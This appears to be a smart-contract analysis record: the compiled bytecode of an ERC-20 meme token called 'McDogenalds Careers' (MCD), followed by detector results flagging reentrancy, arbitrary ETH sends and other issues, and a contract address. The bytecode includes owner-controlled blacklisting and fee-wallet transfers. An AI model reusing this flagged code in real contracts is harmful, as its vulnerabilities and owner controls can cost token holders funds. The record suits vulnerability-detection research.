0x6080604052600436106101855760003560e01c8063715018a6116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f71461053f578063db92dbb614610568578063dd62ed3e14610593578063e6ec64ec146105d05761018c565b8063c3c8cd80146104e8578063c4081a4c146104ff578063c9567bf9146105285761018c565b8063715018a6146103ec5780638da5cb5b1461040357806395d89b411461042e578063a9059cbb14610459578063b0594bcb14610496578063b515566a146104bf5761018c565b8063313ce5671161013e5780634b740b16116101185780634b740b16146103465780635d098b381461036f5780636fc3eaec1461039857806370a08231146103af5761018c565b8063313ce567146102b55780633bbac579146102e0578063437823ec1461031d5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd14610224578063273123b71461026157806327f3a72a1461028a5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105f9565b6040516101b3919061369f565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613175565b610636565b6040516101f09190613684565b60405180910390f35b34801561020557600080fd5b5061020e610654565b60405161021b9190613821565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190613126565b610665565b6040516102589190613684565b60405180910390f35b34801561026d57600080fd5b506102886004803603810190610283919061306f565b61073e565b005b34801561029657600080fd5b5061029f61082e565b6040516102ac9190613821565b60405180910390f35b3480156102c157600080fd5b506102ca61083e565b6040516102d79190613896565b60405180910390f35b3480156102ec57600080fd5b506103076004803603810190610302919061306f565b610847565b6040516103149190613684565b60405180910390f35b34801561032957600080fd5b50610344600480360381019061033f91906130c1565b61089d565b005b34801561035257600080fd5b5061036d600480360381019061036891906131f2565b610959565b005b34801561037b57600080fd5b50610396600480360381019061039191906130c1565b6109d7565b005b3480156103a457600080fd5b506103ad610b4e565b005b3480156103bb57600080fd5b506103d660048036038101906103d1919061306f565b610bc0565b6040516103e39190613821565b60405180910390f35b3480156103f857600080fd5b50610401610c11565b005b34801561040f57600080fd5b50610418610d64565b6040516104259190613555565b60405180910390f35b34801561043a57600080fd5b50610443610d8d565b604051610450919061369f565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190613175565b610dca565b60405161048d9190613684565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190613244565b610de8565b005b3480156104cb57600080fd5b506104e660048036038101906104e191906131b1565b610e61565b005b3480156104f457600080fd5b506104fd6110e3565b005b34801561050b57600080fd5b5061052660048036038101906105219190613244565b61115d565b005b34801561053457600080fd5b5061053d6111c8565b005b34801561054b57600080fd5b50610566600480360381019061056191906130c1565b6116f3565b005b34801561057457600080fd5b5061057d6117af565b60405161058a9190613821565b60405180910390f35b34801561059f57600080fd5b506105ba60048036038101906105b591906130ea565b6117e1565b6040516105c79190613821565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f29190613244565b611868565b005b60606040518060400160405280601381526020017f4d63446f67656e616c6473204361726565727300000000000000000000000000815250905090565b600061064a6106436118d3565b84846118db565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610672848484611aa6565b6107338461067e6118d3565b61072e85604051806060016040528060288152602001613f9060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e46118d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122109092919063ffffffff16565b6118db565b600190509392505050565b6107466118d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ca90613761565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061083930610bc0565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108de6118d3565b73ffffffffffffffffffffffffffffffffffffffff16146108fe57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099a6118d3565b73ffffffffffffffffffffffffffffffffffffffff16146109ba57600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a186118d3565b73ffffffffffffffffffffffffffffffffffffffff1614610a3857600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b8f6118d3565b73ffffffffffffffffffffffffffffffffffffffff1614610baf57600080fd5b6000479050610bbd81612274565b50565b6000610c0a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236f565b9050919050565b610c196118d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d90613761565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d43440000000000000000000000000000000000000000000000000000000000815250905090565b6000610dde610dd76118d3565b8484611aa6565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e296118d3565b73ffffffffffffffffffffffffffffffffffffffff1614610e4957600080fd5b6064811115610e5757600080fd5b8060128190555050565b610e696118d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed90613761565b60405180910390fd5b60005b81518110156110df57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f74577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561102e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061100d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110cc57600160066000848481518110611072577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110d790613b7f565b915050610ef9565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111246118d3565b73ffffffffffffffffffffffffffffffffffffffff161461114457600080fd5b600061114f30610bc0565b905061115a816123dd565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661119e6118d3565b73ffffffffffffffffffffffffffffffffffffffff16146111be57600080fd5b8060098190555050565b6111d06118d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461125d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125490613761565b60405180910390fd5b601060149054906101000a900460ff16156112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906137e1565b60405180910390fd5b60007310ed43c718714eb63d5aa57b78b54704e256024e905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061133d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118db565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190613098565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114559190613098565b6040518363ffffffff1660e01b8152600401611472929190613570565b602060405180830381600087803b15801561148c57600080fd5b505af11580156114a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c49190613098565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061154d30610bc0565b600080611558610d64565b426040518863ffffffff1660e01b815260040161157a96959493929190613623565b6060604051808303818588803b15801561159357600080fd5b505af11580156115a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115cc919061326d565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161166e929190613599565b602060405180830381600087803b15801561168857600080fd5b505af115801561169c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c0919061321b565b506001601060146101000a81548160ff021916908315150217905550610e10426116ea9190613957565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117346118d3565b73ffffffffffffffffffffffffffffffffffffffff161461175457600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006117dc601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc0565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118a96118d3565b73ffffffffffffffffffffffffffffffffffffffff16146118c957600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561194b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611942906137c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b290613701565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a999190613821565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0d906137a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7d906136c1565b60405180910390fd5b60008111611bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc090613781565b60405180910390fd5b611bd1610d64565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c3f5750611c0f610d64565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561213657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ce85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cf157600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d9c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611df25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eae57601060149054906101000a900460ff16611e46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3d90613801565b60405180910390fd5b426011541115611ead576000611e5b83610bc0565b9050611e8d6064611e7f6002683635c9adc5dea000006126d790919063ffffffff16565b61275290919063ffffffff16565b611ea0828461279c90919063ffffffff16565b1115611eab57600080fd5b505b5b601060169054906101000a900460ff16158015611f195750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f315750601060149054906101000a900460ff165b15612135576000611f4130610bc0565b90506000611f706002611f62620f42406012546126d790919063ffffffff16565b61275290919063ffffffff16565b90506000611f8b826305f5e1006127fa90919063ffffffff16565b90506000611fb86305f5e100611faa84876126d790919063ffffffff16565b61275290919063ffffffff16565b905060008111156121175761201460646120066005611ff8601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc0565b6126d790919063ffffffff16565b61275290919063ffffffff16565b81111561206f5761206c606461205e6005612050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc0565b6126d790919063ffffffff16565b61275290919063ffffffff16565b90505b612078816123dd565b60008311156121165760006120ac8361209e6305f5e100876126d790919063ffffffff16565b61275290919063ffffffff16565b905060006120d96305f5e1006120cb84866126d790919063ffffffff16565b61275290919063ffffffff16565b905060006121066305f5e1006120f885476126d790919063ffffffff16565b61275290919063ffffffff16565b90506121128282612844565b5050505b5b6000479050600081111561212f5761212e47612274565b5b50505050505b5b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121dd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121f45750601060159054906101000a900460ff165b156121fe57600090505b61220a84848484612989565b50505050565b6000838311158290612258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224f919061369f565b60405180910390fd5b50600083856122679190613a38565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122c460028461275290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122ef573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61234060028461275290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561236b573d6000803e3d6000fd5b5050565b60006007548211156123b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ad906136e1565b60405180910390fd5b60006123c06129b6565b90506123d5818461275290919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561243b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156124695781602001602082028036833780820191505090505b50905030816000815181106124a7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561254957600080fd5b505afa15801561255d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125819190613098565b816001815181106125bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061262230600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118db565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161268695949392919061383c565b600060405180830381600087803b1580156126a057600080fd5b505af11580156126b4573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b6000808314156126ea576000905061274c565b600082846126f891906139de565b905082848261270791906139ad565b14612747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273e90613741565b60405180910390fd5b809150505b92915050565b600061279483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129e1565b905092915050565b60008082846127ab9190613957565b9050838110156127f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e790613721565b60405180910390fd5b8091505092915050565b600061283c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612210565b905092915050565b6001601060166101000a81548160ff02191690831515021790555061288c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118db565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612915969594939291906135c2565b6060604051808303818588803b15801561292e57600080fd5b505af1158015612942573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612967919061326d565b5050506000601060166101000a81548160ff0219169083151502179055505050565b8061299757612996612a44565b5b6129a2848484612a87565b806129b0576129af612c52565b5b50505050565b60008060006129c3612c66565b915091506129da818361275290919063ffffffff16565b9250505090565b60008083118290612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1f919061369f565b60405180910390fd5b5060008385612a3791906139ad565b9050809150509392505050565b6000600954148015612a5857506000600a54145b15612a6257612a85565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b600080600080600080612a9987612cc8565b955095509550955095509550612af786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127fa90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b8c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bd881612d30565b612be28483612ded565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612c3f9190613821565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612c9c683635c9adc5dea0000060075461275290919063ffffffff16565b821015612cbb57600754683635c9adc5dea00000935093505050612cc4565b81819350935050505b9091565b6000806000806000806000806000612ce58a600954600a54612e27565b9250925092506000612cf56129b6565b90506000806000612d088e878787612ebd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612d3a6129b6565b90506000612d5182846126d790919063ffffffff16565b9050612da581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e02826007546127fa90919063ffffffff16565b600781905550612e1d8160085461279c90919063ffffffff16565b6008819055505050565b600080600080612e536064612e45888a6126d790919063ffffffff16565b61275290919063ffffffff16565b90506000612e7d6064612e6f888b6126d790919063ffffffff16565b61275290919063ffffffff16565b90506000612ea682612e98858c6127fa90919063ffffffff16565b6127fa90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ed685896126d790919063ffffffff16565b90506000612eed86896126d790919063ffffffff16565b90506000612f0487896126d790919063ffffffff16565b90506000612f2d82612f1f85876127fa90919063ffffffff16565b6127fa90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612f59612f54846138d6565b6138b1565b90508083825260208201905082856020860282011115612f7857600080fd5b60005b85811015612fa85781612f8e8882612fb2565b845260208401935060208301925050600181019050612f7b565b5050509392505050565b600081359050612fc181613f33565b92915050565b600081519050612fd681613f33565b92915050565b600081359050612feb81613f4a565b92915050565b600082601f83011261300257600080fd5b8135613012848260208601612f46565b91505092915050565b60008135905061302a81613f61565b92915050565b60008151905061303f81613f61565b92915050565b60008135905061305481613f78565b92915050565b60008151905061306981613f78565b92915050565b60006020828403121561308157600080fd5b600061308f84828501612fb2565b91505092915050565b6000602082840312156130aa57600080fd5b60006130b884828501612fc7565b91505092915050565b6000602082840312156130d357600080fd5b60006130e184828501612fdc565b91505092915050565b600080604083850312156130fd57600080fd5b600061310b85828601612fb2565b925050602061311c85828601612fb2565b9150509250929050565b60008060006060848603121561313b57600080fd5b600061314986828701612fb2565b935050602061315a86828701612fb2565b925050604061316b86828701613045565b9150509250925092565b6000806040838503121561318857600080fd5b600061319685828601612fb2565b92505060206131a785828601613045565b9150509250929050565b6000602082840312156131c357600080fd5b600082013567ffffffffffffffff8111156131dd57600080fd5b6131e984828501612ff1565b91505092915050565b60006020828403121561320457600080fd5b60006132128482850161301b565b91505092915050565b60006020828403121561322d57600080fd5b600061323b84828501613030565b91505092915050565b60006020828403121561325657600080fd5b600061326484828501613045565b91505092915050565b60008060006060848603121561328257600080fd5b60006132908682870161305a565b93505060206132a18682870161305a565b92505060406132b28682870161305a565b9150509250925092565b60006132c883836132e3565b60208301905092915050565b6132dd81613ad3565b82525050565b6132ec81613a6c565b82525050565b6132fb81613a6c565b82525050565b600061330c82613912565b6133168185613935565b935061332183613902565b8060005b8381101561335257815161333988826132bc565b975061334483613928565b925050600181019050613325565b5085935050505092915050565b61336881613a90565b82525050565b61337781613ae5565b82525050565b60006133888261391d565b6133928185613946565b93506133a2818560208601613b1b565b6133ab81613c55565b840191505092915050565b60006133c3602383613946565b91506133ce82613c66565b604082019050919050565b60006133e6602a83613946565b91506133f182613cb5565b604082019050919050565b6000613409602283613946565b915061341482613d04565b604082019050919050565b600061342c601b83613946565b915061343782613d53565b602082019050919050565b600061344f602183613946565b915061345a82613d7c565b604082019050919050565b6000613472602083613946565b915061347d82613dcb565b602082019050919050565b6000613495602983613946565b91506134a082613df4565b604082019050919050565b60006134b8602583613946565b91506134c382613e43565b604082019050919050565b60006134db602483613946565b91506134e682613e92565b604082019050919050565b60006134fe601783613946565b915061350982613ee1565b602082019050919050565b6000613521601883613946565b915061352c82613f0a565b602082019050919050565b61354081613abc565b82525050565b61354f81613ac6565b82525050565b600060208201905061356a60008301846132f2565b92915050565b600060408201905061358560008301856132f2565b61359260208301846132f2565b9392505050565b60006040820190506135ae60008301856132f2565b6135bb6020830184613537565b9392505050565b600060c0820190506135d760008301896132f2565b6135e46020830188613537565b6135f1604083018761336e565b6135fe606083018661336e565b61360b60808301856132d4565b61361860a0830184613537565b979650505050505050565b600060c08201905061363860008301896132f2565b6136456020830188613537565b613652604083018761336e565b61365f606083018661336e565b61366c60808301856132f2565b61367960a0830184613537565b979650505050505050565b6000602082019050613699600083018461335f565b92915050565b600060208201905081810360008301526136b9818461337d565b905092915050565b600060208201905081810360008301526136da816133b6565b9050919050565b600060208201905081810360008301526136fa816133d9565b9050919050565b6000602082019050818103600083015261371a816133fc565b9050919050565b6000602082019050818103600083015261373a8161341f565b9050919050565b6000602082019050818103600083015261375a81613442565b9050919050565b6000602082019050818103600083015261377a81613465565b9050919050565b6000602082019050818103600083015261379a81613488565b9050919050565b600060208201905081810360008301526137ba816134ab565b9050919050565b600060208201905081810360008301526137da816134ce565b9050919050565b600060208201905081810360008301526137fa816134f1565b9050919050565b6000602082019050818103600083015261381a81613514565b9050919050565b60006020820190506138366000830184613537565b92915050565b600060a0820190506138516000830188613537565b61385e602083018761336e565b81810360408301526138708186613301565b905061387f60608301856132f2565b61388c6080830184613537565b9695505050505050565b60006020820190506138ab6000830184613546565b92915050565b60006138bb6138cc565b90506138c78282613b4e565b919050565b6000604051905090565b600067ffffffffffffffff8211156138f1576138f0613c26565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061396282613abc565b915061396d83613abc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139a2576139a1613bc8565b5b828201905092915050565b60006139b882613abc565b91506139c383613abc565b9250826139d3576139d2613bf7565b5b828204905092915050565b60006139e982613abc565b91506139f483613abc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a2d57613a2c613bc8565b5b828202905092915050565b6000613a4382613abc565b9150613a4e83613abc565b925082821015613a6157613a60613bc8565b5b828203905092915050565b6000613a7782613a9c565b9050919050565b6000613a8982613a9c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613ade82613af7565b9050919050565b6000613af082613abc565b9050919050565b6000613b0282613b09565b9050919050565b6000613b1482613a9c565b9050919050565b60005b83811015613b39578082015181840152602081019050613b1e565b83811115613b48576000848401525b50505050565b613b5782613c55565b810181811067ffffffffffffffff82111715613b7657613b75613c26565b5b80604052505050565b6000613b8a82613abc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613bbd57613bbc613bc8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613f3c81613a6c565b8114613f4757600080fd5b50565b613f5381613a7e565b8114613f5e57600080fd5b50565b613f6a81613a90565b8114613f7557600080fd5b50565b613f8181613abc565b8114613f8c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a3e550bbd6bb06606697cf1000778371c778e681a66f95236f66cfeb2f3d0ba364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
238
0x2ac66f5057657db1c386d5b7b8222558d41a54cd
